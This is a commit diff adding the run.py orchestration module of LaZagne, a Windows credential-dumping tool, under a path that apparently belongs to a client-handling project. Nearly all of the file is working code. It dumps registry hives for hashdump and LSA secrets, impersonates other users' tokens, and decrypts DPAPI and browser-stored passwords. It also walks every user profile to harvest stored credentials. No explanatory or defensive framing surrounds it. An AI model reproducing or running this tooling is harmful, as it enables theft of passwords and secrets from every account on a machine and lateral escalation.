summaryrefslogtreecommitdiff
path: root/foreign/client_handling/lazagne/config/run.py
diff options
context:
space:
mode:
Diffstat (limited to 'foreign/client_handling/lazagne/config/run.py')
-rw-r--r--foreign/client_handling/lazagne/config/run.py261
1 files changed, 261 insertions, 0 deletions
diff --git a/foreign/client_handling/lazagne/config/run.py b/foreign/client_handling/lazagne/config/run.py
new file mode 100644
index 0000000..a062fa3
--- /dev/null
+++ b/foreign/client_handling/lazagne/config/run.py
@@ -0,0 +1,261 @@
+# -*- coding: utf-8 -*-
+# !/usr/bin/python
+import ctypes
+import logging
+import sys
+import traceback
+
+from foreign.client_handling.lazagne.config.change_privileges import list_sids, rev2self, impersonate_sid_long_handle
+from foreign.client_handling.lazagne.config.users import get_user_list_on_filesystem, set_env_variables, get_username_winapi
+from foreign.client_handling.lazagne.config.dpapi_structure import SystemDpapi, are_masterkeys_retrieved
+from foreign.client_handling.lazagne.config.execute_cmd import save_hives, delete_hives
+from foreign.client_handling.lazagne.config.write_output import print_debug, StandardOutput
+from foreign.client_handling.lazagne.config.constant import constant
+from foreign.client_handling.lazagne.config.manage_modules import get_categories, get_modules
+
+# Useful for the Pupy project
+# workaround to this error: RuntimeError: maximum recursion depth exceeded while calling a Python object
+sys.setrecursionlimit(10000)
+
+
+def create_module_dic():
+ if constant.modules_dic:
+ return constant.modules_dic
+
+ modules = {}
+
+ # Define a dictionary for all modules
+ for category in get_categories():
+ modules[category] = {}
+
+ # Add all modules to the dictionary
+ for m in get_modules():
+ modules[m.category][m.options['dest']] = m
+
+ constant.modules_dic = modules
+ return modules
+
+
+def run_module(title, module):
+ """
+ Run only one module
+ """
+ try:
+ constant.st.title_info(title.capitalize()) # print title
+ pwd_found = module.run() # run the module
+ constant.st.print_output(title.capitalize(), pwd_found) # print the results
+
+ # Return value - not used but needed
+ yield True, title.capitalize(), pwd_found
+ except Exception:
+ error_message = traceback.format_exc()
+ print_debug('DEBUG', error_message)
+ yield False, title.capitalize(), error_message
+
+
+def run_modules(module, subcategories={}, system_module=False):
+ """
+ Run modules inside a category (could be one or multiple modules)
+ """
+ modules_to_launch = []
+
+ # Launch only a specific module
+ for i in subcategories:
+ if subcategories[i] and i in module:
+ modules_to_launch.append(i)
+
+ # Launch all modules
+ if not modules_to_launch:
+ modules_to_launch = module
+
+ for i in modules_to_launch:
+ # Only current user could access to HKCU registry or use some API that only can be run from the user environment
+ if not constant.is_current_user:
+ if module[i].registry_used or module[i].only_from_current_user:
+ continue
+
+ if system_module ^ module[i].system_module:
+ continue
+
+ if module[i].winapi_used:
+ constant.module_to_exec_at_end['winapi'].append({
+ 'title': i,
+ 'module': module[i],
+ })
+ continue
+
+ if module[i].dpapi_used:
+ constant.module_to_exec_at_end['dpapi'].append({
+ 'title': i,
+ 'module': module[i],
+ })
+ continue
+
+ # Run module
+ for m in run_module(title=i, module=module[i]):
+ yield m
+
+
+def run_category(category_selected, subcategories={}, system_module=False):
+ constant.module_to_exec_at_end = {
+ "winapi": [],
+ "dpapi": [],
+ }
+ modules = create_module_dic()
+ categories = [category_selected] if category_selected != 'all' else get_categories()
+ for category in categories:
+ for r in run_modules(modules[category], subcategories, system_module):
+ yield r
+
+ if not system_module:
+ if constant.is_current_user:
+ # Modules using Windows API (CryptUnprotectData) can be called from the current session
+ for module in constant.module_to_exec_at_end.get('winapi', []):
+ for m in run_module(title=module['title'], module=module['module']):
+ yield m
+
+ if constant.module_to_exec_at_end.get('dpapi', []):
+ if are_masterkeys_retrieved():
+ for module in constant.module_to_exec_at_end.get('dpapi', []):
+ for m in run_module(title=module['title'], module=module['module']):
+ yield m
+ else:
+ if constant.module_to_exec_at_end.get('dpapi', []) or constant.module_to_exec_at_end.get('winapi', []):
+ if are_masterkeys_retrieved():
+ # Execute winapi/dpapi modules - winapi decrypt blob using dpapi without calling CryptUnprotectData
+ for i in ['winapi', 'dpapi']:
+ for module in constant.module_to_exec_at_end.get(i, []):
+ for m in run_module(title=module['title'], module=module['module']):
+ yield m
+
+
+def run_lazagne(category_selected='all', subcategories={}, password=None):
+ """
+ Execution Workflow:
+ - If admin:
+ - Execute system modules to retrieve LSA Secrets and user passwords if possible
+ - These secret could be useful for further decryption (e.g Wifi)
+ - If a process of another user is launched try to impersone it (impersonating his token)
+ - TO DO: if hashdump retrieved other local account, launch a new process using psexec techniques
+ - From our user:
+ - Retrieve all passwords using their own password storage algorithm (Firefox, Pidgin, etc.)
+ - Retrieve all passwords using Windows API - CryptUnprotectData (Chrome, etc.)
+ - If the user password or the dpapi hash is found:
+ - Retrieve all passowrds from an encrypted blob (Credentials files, Vaults, etc.)
+ - From all users found on the filesystem (e.g C:\\Users) - Need admin privilege:
+ - Retrieve all passwords using their own password storage algorithm (Firefox, Pidgin, etc.)
+ - If the user password or the dpapi hash is found:
+ - Retrieve all passowrds from an encrypted blob (Chrome, Credentials files, Vaults, etc.)
+
+ To resume:
+ - Some passwords (e.g Firefox) could be retrieved from any other user
+ - CryptUnprotectData can be called only from our current session
+ - DPAPI Blob can decrypted only if we have the password or the hash of the user
+ """
+
+ # Useful if this function is called from another tool
+ if password:
+ constant.user_password = password
+
+ if not constant.st:
+ constant.st = StandardOutput()
+
+ # --------- Execute System modules ---------
+ if ctypes.windll.shell32.IsUserAnAdmin() != 0:
+ if save_hives():
+ # System modules (hashdump, lsa secrets, etc.)
+ constant.username = 'SYSTEM'
+ constant.finalResults = {'User': constant.username}
+ constant.system_dpapi = SystemDpapi()
+
+ if logging.getLogger().isEnabledFor(logging.INFO):
+ constant.st.print_user(constant.username)
+ yield 'User', constant.username
+
+ try:
+ for r in run_category(category_selected, subcategories, system_module=True):
+ yield r
+ except: # Catch all kind of exceptions
+ pass
+ finally:
+ delete_hives()
+
+ constant.stdout_result.append(constant.finalResults)
+
+ # ------ Part used for user impersonation ------
+
+ constant.is_current_user = True
+ constant.username = get_username_winapi()
+ if not constant.username.endswith('$'):
+
+ constant.finalResults = {'User': constant.username}
+ constant.st.print_user(constant.username)
+ yield 'User', constant.username
+
+ set_env_variables(user=constant.username)
+
+ for r in run_category(category_selected, subcategories):
+ yield r
+ constant.stdout_result.append(constant.finalResults)
+
+ # Check if admin to impersonate
+ if ctypes.windll.shell32.IsUserAnAdmin() != 0:
+
+ # --------- Impersonation using tokens ---------
+
+ sids = list_sids()
+ impersonate_users = {}
+ impersonated_user = [constant.username]
+
+ for sid in sids:
+ # Not save the current user's SIDs and not impersonate system user
+ if constant.username != sid[3] and sid[2] != 'S-1-5-18':
+ impersonate_users.setdefault(sid[3], []).append(sid[2])
+
+ for user in impersonate_users:
+ if 'service' in user.lower().strip():
+ continue
+
+ # Do not impersonate the same user twice
+ if user in impersonated_user:
+ continue
+
+ constant.st.print_user(user)
+ yield 'User', user
+
+ constant.finalResults = {'User': user}
+ for sid in impersonate_users[user]:
+ try:
+ set_env_variables(user, to_impersonate=True)
+ if impersonate_sid_long_handle(sid, close=False):
+ impersonated_user.append(user)
+
+ # Launch module wanted
+ for r in run_category(category_selected, subcategories):
+ yield r
+
+ rev2self()
+ constant.stdout_result.append(constant.finalResults)
+ break
+ except Exception:
+ print_debug('DEBUG', traceback.format_exc())
+
+ # --------- Impersonation browsing file system ---------
+
+ constant.is_current_user = False
+ # Ready to check for all users remaining
+ all_users = get_user_list_on_filesystem(impersonated_user=[constant.username])
+ for user in all_users:
+ # Fix value by default for user environment (APPDATA and USERPROFILE)
+ set_env_variables(user, to_impersonate=True)
+ constant.st.print_user(user)
+
+ constant.username = user
+ constant.finalResults = {'User': user}
+ yield 'User', user
+
+ # Retrieve passwords that need high privileges
+ for r in run_category(category_selected, subcategories):
+ yield r
+
+ constant.stdout_result.append(constant.finalResults)